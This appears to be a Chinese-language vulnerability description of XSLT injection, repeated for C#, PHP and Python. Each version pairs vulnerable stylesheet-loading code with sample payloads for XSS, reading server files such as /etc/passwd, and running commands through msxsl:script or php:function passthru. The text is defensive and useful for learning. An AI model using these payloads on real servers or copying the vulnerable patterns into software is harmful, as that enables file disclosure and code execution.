XSLT Injection

若處理未經驗證的 XSL 樣式表，攻擊者可藉此變更所產生 XML 的結構及內容、從檔案系統加入任意檔案，或執行任意程式碼。

XSLT injection 發生於：

1. 資料從一個不可信賴的來源進入程式。

2. 將資料寫入 XSL 樣式表。


應用程式一般會使用 XSL 樣式表將 XML 文件從一種格式轉換為另一種格式。XSL 樣式表包括特殊函數，函數可強化轉換過程，但若使用不當可能產生額外的安全弱點。

如果攻擊者有能力在樣式表中撰寫 XSL 元素，即有可能更改 XSL 樣式表的語義和處理。攻擊者可能會更改樣式表的輸出，如此可以啟用 XSS (cross-site scripting) 攻擊，暴露本機檔案系統資源的內容，或執行任意程式碼。

範例 1：這些程式碼容易受到 XSLT Injection 的攻擊：

  ...
  String xmlUrl = Request["xmlurl"];
  String xslUrl = Request["xslurl"];

  XslCompiledTransform xslt = new XslCompiledTransform();
  xslt.Load(xslUrl);

  xslt.Transform(xmlUrl, "books.html");
  ...
  

Example 1 會在攻擊者將識別的 XSL 傳遞給 XSTL 處理器時，產生三種不同的攻擊：

1. XSS：

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <script>alert(123)</script>
    </xsl:template>
  </xsl:stylesheet>

  

處理 XSL 樣式表時，受害者的瀏覽器中會呈現 <script> 標籤，使得攻擊者得以執行 Cross-Site Scripting 攻擊。

2. 在伺服器檔案系統中讀取任意檔案：

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    </xsl:template>
  </xsl:stylesheet>

  

上述 XSL 樣式表將傳回 /etc/passwd 檔案內容。

3. 執行任意程式碼：

XSLT 處理器能夠將原生語言方法 (若未停用) 暴露為 XSLT 函數。

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>

  

上述樣式表將在伺服器上執行「cmd.exe」指令。

若處理未經驗證的 XSL 樣式表，攻擊者可藉此變更所產生 XML 的結構及內容、從檔案系統加入任意檔案，或執行任意程式碼。

XSLT injection 發生於：

1. 資料從一個不可信賴的來源進入程式。

2. 將資料寫入 XSL 樣式表。


應用程式一般會使用 XSL 樣式表將 XML 文件從一種格式轉換為另一種格式。XSL 樣式表包括特殊函數，函數可強化轉換過程，但若使用不當可能產生額外的安全弱點。

如果攻擊者有能力在樣式表中撰寫 XSL 元素，即有可能更改 XSL 樣式表的語義和處理。攻擊者可能會更改樣式表的輸出，如此可以啟用 XSS (cross-site scripting) 攻擊，暴露本機檔案系統資源的內容，或執行任意程式碼。若是攻擊者能夠全面掌控提交到應用程式的樣式表，則攻擊者也能夠執行 XXE (XML External Entity) injection 攻擊。

範例 1：這些程式碼容易受到 XSLT Injection 的攻擊：

...
<?php

$xml = new DOMDocument;
$xml->load('local.xml');

$xsl = new DOMDocument;
$xsl->load($_GET['key']);

$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);

echo $processor->transformToXML($xml);

?>
...

Example 1 中的程式碼會在攻擊者將識別的 XSL 傳遞給 XSTL 處理器時，產生三種不同的攻擊：

1. XSS：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>

處理 XSL 樣式表時，受害者的瀏覽器中會呈現 <script> 標籤，使得攻擊者得以執行 Cross-Site Scripting 攻擊。

2. 在伺服器檔案系統中讀取任意檔案：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

上述 XSL 樣式表將傳回 /etc/passwd 檔案內容。

3. 執行任意 PHP 程式碼：

XSLT 處理器能夠經由啟用「registerPHPFunctions」，將原生 PHP 語言方法暴露為 XSLT 函數。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>

上述樣式表將輸出伺服器上的「ls」指令結果。

若處理未經驗證的 XSL 樣式表，攻擊者可藉此變更所產生 XML 的結構及內容、從檔案系統加入任意檔案，或執行任意程式碼。

XSLT injection 發生於：

1. 資料從一個不可信賴的來源進入程式。

2. 將資料寫入 XSL 樣式表。


應用程式一般會使用 XSL 樣式表將 XML 文件從一種格式轉換為另一種格式。XSL 樣式表包括特殊函數，函數可強化轉換過程，但若使用不當可能產生額外的安全弱點。

如果攻擊者有能力在樣式表中撰寫 XSL 元素，即有可能更改 XSL 樣式表的語義和處理。攻擊者可能會更改樣式表的輸出，如此可以啟用 XSS (cross-site scripting) 攻擊，暴露本機檔案系統資源的內容，或執行任意程式碼。

範例 1：這些程式碼容易受到 XSLT Injection 的攻擊：

...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])

xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...

Example 1 中的程式碼會在攻擊者將識別的 XSL 傳遞給 XSTL 處理器時，產生三種不同的攻擊：

1. XSS：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <script>alert(123)</script>
  </xsl:template>
</xsl:stylesheet>

處理 XSL 樣式表時，受害者的瀏覽器中會呈現 <script> 標籤，使得攻擊者得以執行 Cross-Site Scripting 攻擊。

2. 在伺服器檔案系統中讀取任意檔案：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

上述 XSL 樣式表將傳回 /etc/passwd 檔案內容。